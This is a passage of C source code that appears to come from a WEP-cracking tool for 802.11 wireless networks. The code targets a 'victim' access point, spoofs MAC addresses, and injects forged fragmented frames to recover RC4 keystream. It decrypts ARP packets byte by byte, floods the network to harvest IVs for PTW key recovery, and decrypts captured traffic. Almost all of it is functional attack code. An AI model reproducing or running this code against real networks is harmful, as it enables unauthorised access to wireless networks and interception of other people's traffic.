4; *body++ = 2; *body++ = 4; *body++ = 11; *body++ = 22; send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 + strlen(victim.ssid) + 2 + 4); } void wepify(unsigned char* body, int dlen) { uLong crc; unsigned long *pcrc; int i; assert(dlen + 4 <= prgainfo.len); // iv memcpy(body, prgainfo.iv, 3); body +=3; *body++ = 0; // crc crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, dlen); pcrc = (unsigned long*) (body+dlen); *pcrc = crc; for (i = 0; i < dlen +4; i++) *body++ ^= prgainfo.prga[i]; } void send_auth(int tx) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned short* n; memset(buf, 0, sizeof(buf)); fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); n++; *n = 1; send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2); } int get_victim_ssid(struct ieee80211_frame* wh, int len) { unsigned char* ptr; int x; int gots = 0, gotc = 0; if (len <= sizeof(*wh)) { time_print("Warning: short packet in get_victim_ssid()\n"); return 0; } ptr = (unsigned char*)wh + sizeof(*wh); len -= sizeof(*wh); // only wep baby if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { return 0; } // we want a specific victim if (victim_mac) { if (memcmp(wh->i_addr3, victim_mac, 6) != 0) return 0; } // beacon header x = 8 + 2 + 2; if (len <= x) { time_print("Warning short.asdfasdf\n"); return 0; } ptr += x; len -= x; // SSID while(len > 2) { int eid, elen; eid = *ptr; ptr++; elen = *ptr; ptr++; len -= 2; if (len < elen) { time_print("Warning short....\n"); return 0; } // ssid if (eid == 0) { if (victim.ssid) free(victim.ssid); victim.ssid = (char*) malloc(elen + 1); if (!victim.ssid) { perror("malloc()"); exit(1); } memcpy(victim.ssid, ptr, elen); victim.ssid[elen] = 0; gots = 1; } // chan else if(eid == 3) { if( elen != 1) { time_print("Warning len of chan not 1\n"); return 0; } victim.chan = *ptr; gotc = 1; } ptr += elen; len -= elen; } if (gots && gotc) { memcpy(victim.bss, wh->i_addr3, 6); set_chan(victim.chan); state = FOUND_VICTIM; time_print("Found SSID(%s) BSS=(%s) chan=%d\n", victim.ssid, mac2str(victim.bss), victim.chan); return 1; } return 0; } void send_ack(int tx) { /* firmware acks */ } void do_llc(unsigned char* buf, unsigned short type) { struct llc* h = (struct llc*) buf; memset(h, 0, sizeof(*h)); h->llc_dsap = LLC_SNAP_LSAP; h->llc_ssap = LLC_SNAP_LSAP; h->llc_un.type_snap.control = 3; h->llc_un.type_snap.ether_type = htons(type); } void calculate_inet_clear() { struct ip* ih; struct udphdr* uh; uLong crc; unsigned long *pcrc; int dlen; memset(inet_clear, 0, sizeof(inet_clear)); do_llc(inet_clear, ETHERTYPE_IP); ih = (struct ip*) &inet_clear[8]; ih->ip_hl = 5; ih->ip_v = 4; ih->ip_tos = 0; ih->ip_len = htons(20+8+PRGA_LEN); ih->ip_id = htons(666); ih->ip_off = 0; ih->ip_ttl = ttl_val; ih->ip_p = IPPROTO_UDP; ih->ip_sum = 0; inet_aton(floodip, &ih->ip_src); inet_aton(myip, &ih->ip_dst); ih->ip_sum = in_cksum((unsigned short*)ih, 20); uh = (struct udphdr*) ((char*)ih + 20); uh->uh_sport = htons(floodport); uh->uh_dport = htons(floodsport); uh->uh_ulen = htons(8+PRGA_LEN); uh->uh_sum = 0; uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN, &ih->ip_src, &ih->ip_dst); // crc dlen = 8 + 20 + 8 + PRGA_LEN; assert (dlen + 4 <= sizeof(inet_clear)); crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, inet_clear, dlen); pcrc = (unsigned long*) (inet_clear+dlen); *pcrc = crc; #if 0 printf("INET %d\n", sizeof(inet_clear)); hexdump(inet_clear, sizeof(inet_clear)); #endif } void set_prga(unsigned char* iv, unsigned char* cipher, unsigned char* clear, int len) { int i; int fd; if (prgainfo.len != 0) free(prgainfo.prga); prgainfo.prga = (unsigned char*) malloc(len); if (!prgainfo.prga) { perror("malloc()"); exit(1); } prgainfo.len = len; memcpy(prgainfo.iv, iv, 3); for (i = 0; i < len; i++) { prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) : clear[i]); } time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]); hexdump(prgainfo.prga, prgainfo.len); if (!cipher) return; fd = open(PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) { perror("open()"); exit(1); } i = write(fd, prgainfo.iv, 3); if (i == -1) { perror("write()"); exit(1); } if (i != 3) { printf("Wrote %d out of %d\n", i, 3); exit(1); } i = write(fd, prgainfo.prga, prgainfo.len); if (i == -1) { perror("write()"); exit(1); } if (i != prgainfo.len) { printf("Wrote %d out of %d\n", i, prgainfo.len); exit(1); } close(fd); } void log_dictionary(unsigned char* body, int len) { char paths[3][3]; int i, rd; int fd; unsigned char path[128]; unsigned char file_clear[sizeof(inet_clear)]; unsigned char* data; len -= 4; // IV etc.. assert (len == sizeof(inet_clear)); data = body +4; if (len > prgainfo.len) set_prga(body, data, inet_clear, len); for (i = 0; i < 3; i++) snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); strcpy(path, DICT_PATH); // first 2 bytes for (i = 0; i < 2; i++) { strcat(path, "/"); strcat(path, paths[i]); fd = open(path, O_RDONLY); if (fd == -1) { if (errno != ENOENT) { perror("open()"); exit(1); } if (mkdir(path, 0755) == -1) { perror("mkdir()"); exit(1); } } else close(fd); } // last byte strcat(path, "/"); strcat(path, paths[2]); fd = open(path, O_RDWR); // already exists... see if we are consistent... if (fd != -1) { rd = read(fd, file_clear, sizeof(file_clear)); if (rd == -1) { perror("read()"); exit(1); } // check consistency.... for (i = 0; i < rd; i++) { if (file_clear[i] != (data[i] ^ inet_clear[i])) { printf("Mismatch in byte %d for:\n", i); hexdump(body, len+4); exit(1); } } // no need to log if (i >= sizeof(inet_clear)) { #if 0 time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n", body[0], body[1], body[2]); #endif close(fd); return; } // file has less... fd still open } else { fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd == -1) { printf("Can't open (%s): %s\n", path, strerror(errno)); exit(1); } } assert (sizeof(file_clear) >= sizeof(inet_clear)); for(i = 0; i < len; i++) file_clear[i] = data[i] ^ inet_clear[i]; rd = write(fd, file_clear, len); if (rd == -1) { perror("write()"); exit(1); } if (rd != len) { printf("Wrote %d of %d\n", rd, len); exit(1); } close(fd); } void stuff_for_us(struct ieee80211_frame* wh, int len) { int type,stype; unsigned char* body; type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; body = (unsigned char*) wh + sizeof(*wh); // CTL if (type == IEEE80211_FC0_TYPE_CTL) { if (stype == IEEE80211_FC0_SUBTYPE_ACK) { txstate.waiting_ack = 0; return; } if (stype == IEEE80211_FC0_SUBTYPE_RTS) { return; } if (stype == IEEE80211_FC0_SUBTYPE_CTS) { return; } time_print ("got CTL=%x\n", stype); return; } // MGM if (type == IEEE80211_FC0_TYPE_MGT) { if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { unsigned short* rc = (unsigned short*) body; printf("\n"); time_print("Got deauth=%u\n", le16toh(*rc)); state = FOUND_VICTIM; return; exit(1); } else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { unsigned short* sc = (unsigned short*) body; if (*sc != 0) { time_print("Warning got auth algo=%x\n", *sc); exit(1); return; } sc++; if (*sc != 2) { time_print("Warning got auth seq=%x\n", *sc); return; } sc++; if (*sc == 1) { time_print("Auth rejected... trying to spoof mac.\n"); state = SPOOF_MAC; return; } else if (*sc == 0) { time_print("Authenticated\n"); state = GOT_AUTH; return; } else { time_print("Got auth %x\n", *sc); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { unsigned short* sc = (unsigned short*) body; sc++; // cap if (*sc == 0) { sc++; unsigned int aid = le16toh(*sc) & 0x3FFF; time_print("Associated (ID=%x)\n", aid); state = GOT_ASSOC; return; } else if (*sc == 12) { time_print("Assoc rejected..." " trying to spoof mac.\n"); state = SPOOF_MAC; return; } else { time_print("got assoc %x\n", *sc); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { return; } time_print("\nGOT MAN=%x\n", stype); exit(1); } if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { int dlen; dlen = len - sizeof(*wh) - 4 -4; if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n", mac2str(wh->i_addr2), dlen, stype); return; } assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED); if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) { rtrmac = (unsigned char *) malloc(6); if (!rtrmac) { perror("malloc()"); exit(1); } assert( rtrmac > (unsigned char*) 1); memcpy (rtrmac, wh->i_addr3, 6); time_print("Got arp reply from (%s)\n", mac2str(rtrmac)); return; } #if 0 // check if its a TTL update from dictionary stuff if (dlen >= (8+20+8+MAGIC_TTL_PAD) && dlen <= (8+20+8+MAGIC_TTL_PAD+128)) { int ttl_delta, new_ttl; ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD; new_ttl = 128 - ttl_delta; if (ttl_val && new_ttl != ttl_val) { time_print("oops. ttl changed from %d to %d\n", ttl_val, new_ttl); exit(1); } if (!ttl_val) { ttl_val = new_ttl; printf("\n"); time_print("Got TTL of %d\n", ttl_val); calculate_inet_clear(); } } // check if its dictionary data if (ttl_val && dlen == (8+20+8+PRGA_LEN)) { log_dictionary(body, len - sizeof(*wh)); } #endif } #if 0 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", type, stype, mac2str(wh->i_addr2), len); #endif } void decrypt_arpreq(struct ieee80211_frame* wh, int rd) { unsigned char* body; int bodylen; unsigned char clear[36]; unsigned char* ptr; struct arphdr* h; int i; body = (unsigned char*) wh+sizeof(*wh); ptr = clear; // calculate clear-text memcpy(ptr, arp_clear, sizeof(arp_clear)-1); ptr += sizeof(arp_clear) -1; h = (struct arphdr*)ptr; h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(ARPOP_REQUEST); ptr += sizeof(*h); memcpy(ptr, wh->i_addr3, 6); bodylen = rd - sizeof(*wh) - 4 - 4; decryptstate.clen = bodylen; decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen); if (!decryptstate.cipher) { perror("malloc()"); exit(1); } decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen); if (!decryptstate.prgainfo.prga) { perror("malloc()"); exit(1); } memcpy(decryptstate.cipher, &body[4], decryptstate.clen); memcpy(decryptstate.prgainfo.iv, body, 3); memset(decryptstate.prgainfo.prga, 0, decryptstate.clen); for(i = 0; i < (8+8+6); i++) { decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^ clear[i]; } decryptstate.prgainfo.len = i; time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); } void log_wep(struct ieee80211_frame* wh, int len) { int rd; struct pcap_pkthdr pkh; struct timeval tv; unsigned char *body = (unsigned char*) (wh+1); memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()"); pkh.ts = tv; if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); rd = write(weplog.fd, wh, len); if (rd == -1) { perror("write()"); exit(1); } if (rd != len) { time_print("short write %d out of %d\n", rd, len); exit(1); } #if 0 if (fsync(weplog.fd) == -1) { perror("fsync()"); exit(1); } #endif memcpy(weplog.iv, body, 3); weplog.packets++; } void try_dictionary(struct ieee80211_frame* wh, int len) { unsigned char *body; char path[52]; char paths[3][3]; int i; int fd, rd; unsigned char packet[4096]; int dlen; struct ether_header* eh; uLong crc; unsigned long *pcrc; unsigned char* dmac, *smac; assert (len < sizeof(packet) + sizeof(*eh)); body = (unsigned char*) wh + sizeof(*wh); for (i = 0; i < 3; i++) snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]); sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]); fd = open(path, O_RDONLY); if (fd == -1) return; rd = read(fd, &packet[6], sizeof(packet)-6); if (rd == -1) { perror("read()"); exit(1); } close(fd); dlen = len - sizeof(*wh) - 4; if (dlen > rd) { printf("\n"); time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd, dlen); return; } body += 4; for (i = 0; i < dlen; i++) packet[6+i] ^= body[i]; dlen -= 4; crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, &packet[6], dlen); pcrc = (unsigned long*) (&packet[6+dlen]); if (*pcrc != crc) { printf("\n"); time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n", path, *pcrc, crc); return; } // fill ethernet header eh = (struct ether_header*) packet; if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) smac = wh->i_addr3; else smac = wh->i_addr2; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) dmac = wh->i_addr3; else dmac = wh->i_addr1; memcpy(eh->ether_dhost, dmac, 6); memcpy(eh->ether_shost, smac, 6); // ether type should be there from llc dlen -= 8; // llc dlen += sizeof(*eh); #if 0 printf("\n"); time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen); hexdump(packet, dlen); #endif rd = write(tapfd, packet, dlen); if (rd == -1) { perror("write()"); exit(1); } if (rd != dlen) { printf("Wrote %d / %d\n", rd, dlen); exit(1); } } int is_arp(struct ieee80211_frame *wh, int len) { int arpsize = 8 + sizeof(struct arphdr) + 10*2; if (len == arpsize || len == 54) return 1; return 0; } void *get_sa(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr3; else return wh->i_addr2; } void *get_da(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr1; else return wh->i_addr3; } int known_clear(void *clear, struct ieee80211_frame *wh, int len) { unsigned char *ptr = clear; /* IP */ if (!is_arp(wh, len)) { unsigned short iplen = htons(len - 8); // printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; memcpy(ptr, &iplen, len); ptr += len; #endif len = ptr - ((unsigned char*)clear); return len; } // printf("Assuming ARP %d\n", len); /* arp */ len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); return len; } void add_keystream(struct ieee80211_frame* wh, int rd) { unsigned char clear[1024]; int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; int clearsize; unsigned char *body = (unsigned char*) (wh+1); int i; clearsize = known_clear(clear, wh, dlen); if (clearsize < 16) return; for (i = 0; i < 16; i++) clear[i] ^= body[4+i]; PTW_addsession(ptw, body, clear); } void got_wep(struct ieee80211_frame* wh, int rd) { int bodylen; int dlen; unsigned char clear[1024]; int clearsize; unsigned char *body; bodylen = rd - sizeof(struct ieee80211_frame); dlen = bodylen - 4 - 4; body = (unsigned char*) wh + sizeof(*wh); // log it if its stuff not from us... if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && memcmp(wh->i_addr2, mymac, 6) != 0) ) { if (body[3] != 0) { time_print("Key index=%x!!\n", body[3]); exit(1); } log_wep(wh, rd); add_keystream(wh, rd); // try to decrypt too try_dictionary(wh, rd); } // look for arp-request packets... so we can decrypt em if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, mymac, 6) != 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && (dlen == 36 || dlen == PADDED_ARPLEN) && !decryptstate.cipher && !netip) { decrypt_arpreq(wh, rd); } // we have prga... check if its our stuff being relayed... if (prgainfo.len != 0) { // looks like it... if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, mymac, 6) == 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && dlen == fragstate.len) { // printf("I fink AP relayed it...\n"); set_prga(body, &body[4], fragstate.data, dlen); free(fragstate.data); fragstate.data = 0; fragstate.waiting_relay = 0; } // see if we get the multicast stuff of when decrypting if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, mymac, 6) == 0) && (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && dlen == 36) { unsigned char pr = wh->i_addr1[5]; printf("\n"); time_print("Got clear-text byte: %d\n", decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr); decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr; decryptstate.prgainfo.len++; decryptstate.fragstate.waiting_relay = 1; // ok we got the ip... if (decryptstate.prgainfo.len == 26+1) { unsigned char ip[4]; int i; struct in_addr *in = (struct in_addr*) ip; unsigned char *ptr; for (i = 0; i < 4; i++) ip[i] = decryptstate.cipher[8+8+6+i] ^ decryptstate.prgainfo.prga[8+8+6+i]; assert(!netip); netip = (unsigned char*) malloc(16); if(!netip) { perror("malloc()"); exit(1); } memset(netip, 0, 16); strcpy(netip, inet_ntoa(*in)); time_print("Got IP=(%s)\n", netip); strcpy(myip, netip); ptr = strchr(myip, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); strcpy(ptr+1,"123"); time_print("My IP=(%s)\n", myip); free(decryptstate.prgainfo.prga); free(decryptstate.cipher); memset(&decryptstate, 0, sizeof(decryptstate)); } } return; } clearsize = known_clear(clear, wh, dlen); time_print("Datalen %d Known clear %d\n", dlen, clearsize); set_prga(body, &body[4], clear, clearsize); } void stuff_for_net(struct ieee80211_frame* wh, int rd) { int type,stype; type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { int dlen = rd - sizeof(struct ieee80211_frame); if (state == SPOOF_MAC) { unsigned char mac[6]; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { memcpy(mac, wh->i_addr3, 6); } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { memcpy(mac, wh->i_addr1, 6); } else assert(0); if (mac[0] == 0xff || mac[0] == 0x1) return; memcpy(mymac, mac, 6); time_print("Trying to use MAC=(%s)\n", mac2str(mymac)); state = FOUND_VICTIM; return; } // wep data! if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) && dlen > (4+8+4)) { got_wep(wh, rd); } } } void anal(unsigned char* buf, int rd, int tx) { // yze struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; int type,stype; static int lastseq = -1; int seq; unsigned short *seqptr; int for_us = 0; if (rd < 1) { time_print("rd=%d\n", rd); exit(1); } type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // sort out acks if (state >= FOUND_VICTIM) { // stuff for us if (memcmp(wh->i_addr1, mymac, 6) == 0) { for_us = 1; if (type != IEEE80211_FC0_TYPE_CTL) send_ack(tx); } } // XXX i know it aint great... seqptr = (unsigned short*) wh->i_seq; seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && type != IEEE80211_FC0_TYPE_CTL) { // printf("Ignoring dup packet... seq=%d\n", seq); return; } lastseq = seq; // management frame if (type == IEEE80211_FC0_TYPE_MGT) { if(state == FIND_VICTIM) { if (stype == IEEE80211_FC0_SUBTYPE_BEACON || stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { if (get_victim_ssid(wh, rd)) { return; } } } } if (state >= FOUND_VICTIM) { // stuff for us if (for_us) { stuff_for_us(wh, rd); } // stuff in network [even for us] if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && (memcmp(victim.bss, wh->i_addr1, 6) == 0)) || ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(victim.bss, wh->i_addr2, 6) == 0)) ) { stuff_for_net(wh, rd); } } } void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1, unsigned char* i1, unsigned char* m2, unsigned char* i2) { struct in_addr sip; struct in_addr dip; struct arphdr* h; unsigned char* data; inet_aton(i1, &sip); inet_aton(i2, &dip); h = (struct arphdr*) buf; memset(h, 0, sizeof(*h)); h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(op); data = (unsigned char*) h + sizeof(*h); memcpy(data, m1, 6); data += 6; memcpy(data, &sip, 4); data += 4; memcpy(data, m2, 6); data += 6; memcpy(data, &dip, 4); data += 4; } void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) { unsigned char buf[4096]; struct ieee80211_frame* wh; unsigned char* body; int fragsize; uLong crc; unsigned long *pcrc; int i; unsigned short* seq; unsigned short sn, fn; wh = (struct ieee80211_frame*) buf; memcpy(wh, &fs->wh, sizeof(*wh)); body = (unsigned char*) wh + sizeof(*wh); memcpy(body, &pi->iv, 3); body += 3; *body++ = 0; // key index fragsize = fs->data + fs->len - fs->ptr; assert(fragsize > 0); if ( (fragsize + 4) > pi->len) { fragsize = pi->len - 4; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; } // last fragment else { wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } memcpy(body, fs->ptr, fragsize); crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, fragsize); pcrc = (unsigned long*) (body+fragsize); *pcrc = crc; for (i = 0; i < (fragsize + 4); i++) body[i] ^= pi->prga[i]; seq = (unsigned short*) &wh->i_seq; sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; fn = *seq & IEEE80211_SEQ_FRAG_MASK; // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4); seq = (unsigned short*) &fs->wh.i_seq; *seq = fnseq(++fn, sn); fs->ptr += fragsize; if (fs->ptr - fs->data == fs->len) { // printf("Finished sending frags...\n"); fs->waiting_relay = 1; } } void prepare_fragstate(struct frag_state* fs, int pad) { fs->waiting_relay = 0; fs->len = 8 + 8 + 20 + pad; fs->data = (unsigned char*) malloc(fs->len); if(!fs->data) { perror("malloc()"); exit(1); } fs->ptr = fs->data; do_llc(fs->data, ETHERTYPE_ARP); do_arp(&fs->data[8], ARPOP_REQUEST, mymac, myip, "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); memset(&fs->wh, 0, sizeof(fs->wh)); fill_basic(&fs->wh); memset(fs->wh.i_addr3, 0xff, 6); fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_PROTECTED; memset(&fs->data[8+8+20], 0, pad); } void discover_prga(int tx) { // create packet... if (!fragstate.data) { int pad = 0; if (prgainfo.len >= 20) pad = prgainfo.len*3; prepare_fragstate(&fragstate, pad); } if (!fragstate.waiting_relay) { send_fragment(tx, &fragstate, &prgainfo); if (fragstate.waiting_relay) { if (gettimeofday(&fragstate.last, NULL) == -1) err(1, "gettimeofday()"); } } } void decrypt(int tx) { // gotta initiate if (!decryptstate.fragstate.data) { prepare_fragstate(&decryptstate.fragstate, 0); memcpy(decryptstate.fragstate.wh.i_addr3, MCAST_PREF, 5); decryptstate.fragstate.wh.i_addr3[5] = decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; decryptstate.prgainfo.len++; } // guess diff prga byte... if (decryptstate.fragstate.waiting_relay) { unsigned short* seq; decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++; #if 0 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) { printf("Can't decrpyt!\n"); exit(1); } #endif decryptstate.fragstate.wh.i_addr3[5] = decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; decryptstate.fragstate.waiting_relay = 0; decryptstate.fragstate.ptr = decryptstate.fragstate.data; seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq; *seq = fnseq(0, txstate.psent); } send_fragment(tx, &decryptstate.fragstate, &decryptstate.prgainfo); } void flood_inet(tx) { static int send_arp = -1; static unsigned char arp_pkt[128]; static int arp_len; static unsigned char udp_pkt[128]; static int udp_len; static struct timeval last_ip; // need to init packets... if (send_arp == -1) { unsigned char* body; unsigned char* ptr; struct ieee80211_frame* wh; struct ip* ih; struct udphdr* uh; memset(arp_pkt, 0, sizeof(arp_pkt)); memset(udp_pkt, 0, sizeof(udp_pkt)); // construct ARP wh = (struct ieee80211_frame*) arp_pkt; fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS; memset(wh->i_addr3, 0xff, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_ARP); ptr += 8; do_arp(ptr, ARPOP_REQUEST, mymac, myip, "\x00\x00\x00\x00\x00\x00", netip); wepify(body, 8+8+20); arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; assert(arp_len < sizeof(arp_pkt)); // construct UDP wh = (struct ieee80211_frame*) udp_pkt; fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS; memcpy(wh->i_addr3, rtrmac, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_IP); ptr += 8; ih = (struct ip*) ptr; ih->ip_hl = 5; ih->ip_v = 4; ih->ip_tos = 0; ih->ip_len = htons(20+8+5); ih->ip_id = htons(666); ih->ip_off = 0; ih->ip_ttl = 128; ih->ip_p = IPPROTO_UDP; ih->ip_sum = 0; inet_aton(myip, &ih->ip_src); inet_aton(floodip, &ih->ip_dst); ih->ip_sum = in_cksum((unsigned short*)ih, 20); ptr += 20; uh = (struct udphdr*) ptr; uh->uh_sport = htons(floodsport); uh->uh_dport = htons(floodport); uh->uh_ulen = htons(8+5); uh->uh_sum = 0; ptr += 8; strcpy(ptr, "sorbo"); uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src, &ih->ip_dst); wepify(body, 8+20+8+5); udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4; assert(udp_len < sizeof(udp_pkt)); // bootstrap send_arp = 1; memset(&last_ip, 0, sizeof(last_ip)); } if (send_arp == 1) { struct timeval now; unsigned long sec; if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } sec = now.tv_sec - last_ip.tv_sec; if (sec < 5) return; send_frame(tx, arp_pkt, arp_len); send_arp = 0; } else if (send_arp == 0) { if (gettimeofday(&last_ip, NULL) == -1) { perror("gettimeofday()"); exit(1); } send_frame(tx, udp_pkt, udp_len); send_arp = 1; } else assert(0); } void send_arp(int tx, unsigned short op, unsigned char* srcip, unsigned char* srcmac, unsigned char* dstip, unsigned char* dstmac) { static unsigned char arp_pkt[128]; unsigned char* body; unsigned char* ptr; struct ieee80211_frame* wh; int arp_len; memset(arp_pkt, 0, sizeof(arp_pkt)); // construct ARP wh = (struct ieee80211_frame*) arp_pkt; fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS; memset(wh->i_addr3, 0xff, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_ARP); ptr += 8; do_arp(ptr, op, srcmac, srcip, dstmac, dstip); wepify(body, 8+8+20); arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; assert(arp_len < sizeof(arp_pkt)); send_frame(tx, arp_pkt, arp_len); } void can_write(int tx) { static char arp_ip[16]; switch (state) { case FOUND_VICTIM: send_auth(tx); state = SENDING_AUTH; break; case GOT_AUTH: send_assoc(tx); state = SENDING_ASSOC; break; case GOT_ASSOC: if (prgainfo.prga && prgainfo.len < min_prga) { discover_prga(tx); break; } if (decryptstate.cipher) { decrypt(tx); break; } if 